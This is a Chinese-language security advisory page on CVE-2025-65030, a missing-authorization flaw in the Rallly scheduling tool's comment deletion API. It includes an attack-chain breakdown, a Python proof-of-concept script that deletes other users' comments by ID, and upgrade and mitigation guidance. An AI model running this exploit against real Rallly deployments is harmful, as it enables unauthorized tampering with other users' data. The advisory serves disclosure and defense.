IPBUF安全漏洞报告
English
CVE-2025-65030 CVSS 7.1 高危

CVE-2025-65030 Rallly评论删除API存在授权缺陷漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65030
漏洞类型
访问控制/授权缺陷
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

访问控制授权缺陷RalllyAPI安全CVE-2025-65030高危漏洞

漏洞概述

CVE-2025-65030是Rallly开源日程协作工具中的一个高危安全漏洞。该漏洞存在于评论删除API接口中,由于缺乏适当的授权验证机制,任何已认证用户都可以通过提供目标评论ID来删除系统中任意其他用户的评论内容,包括投票所有者和管理员发布的评论。攻击者只需知道目标评论的ID即可执行删除操作,无需任何特殊权限或管理员 privileges。漏洞影响版本为4.5.4之前的所有Rallly部署实例,CVSS评分7.1,属于高危级别。此类授权缺陷可被恶意用户利用来骚扰其他用户、破坏协作数据完整性,或进行信息删除以掩盖恶意活动。漏洞已于2025年11月19日披露并发布4.5.4版本修复。

技术细节

Rallly的评论删除功能通过一个REST API端点实现,该端点接收评论ID作为参数进行删除操作。漏洞根源在于API仅验证用户是否已登录(认证),但未验证用户是否拥有该评论或具有删除权限。攻击流程如下:1)攻击者注册账号并登录系统;2)攻击者通过API或前端获取目标评论的ID(可通过浏览投票页面或API枚举);3)攻击者向删除API发送包含目标评论ID的请求;4)服务器直接删除该评论,不检查所有权。修复后的版本4.5.4增加了服务端权限验证逻辑,确保只有评论所有者、投票管理员或系统管理员才能执行删除操作。建议在API层面实现基于会话的权限检查,并在数据库操作前进行二次验证。

攻击链分析

STEP 1
步骤1
攻击者在Rallly平台注册账号并完成登录认证
STEP 2
步骤2
攻击者访问目标投票页面或通过API枚举获取目标评论的ID
STEP 3
步骤3
攻击者构造删除请求,向/api/comments/{comment_id}端点发送DELETE请求
STEP 4
步骤4
服务端仅验证用户认证状态,未检查评论所有权,直接执行删除操作
STEP 5
步骤5
目标评论被成功删除,攻击者实现未授权数据篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65030 PoC - Rallly Comment Deletion Authorization Flaw # Target: Rallly < 4.5.4 TARGET_URL = "https://vulnerable-rallly-instance.com" def delete_comment(cookies, comment_id): """ Delete any comment by ID without ownership verification """ endpoint = f"{TARGET_URL}/api/comments/{comment_id}" response = requests.delete(endpoint, cookies=cookies) return response.status_code == 200 def exploit(): # Step 1: Authenticate with any valid account login_data = {"email": "[email protected]", "password": "password123"} session = requests.Session() login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if login_resp.status_code != 200: print("[-] Authentication failed") return False cookies = session.cookies print("[+] Authenticated successfully") # Step 2: Target comment ID (obtained from API or page source) target_comment_id = "VICTIM_COMMENT_ID_HERE" # Step 3: Delete victim comment without ownership check if delete_comment(cookies, target_comment_id): print(f"[+] Successfully deleted comment: {target_comment_id}") return True else: print("[-] Failed to delete comment") return False if __name__ == "__main__": exploit()

影响范围

Rallly < 4.5.4

防御指南

临时缓解措施
立即将Rallly升级到4.5.4版本以获取官方安全修复。在无法立即升级的情况下,可通过配置Web应用防火墙(WAF)规则限制DELETE请求到评论API端点,并添加自定义访问控制逻辑。同时监控异常的大量评论删除操作日志,以便及时发现潜在攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表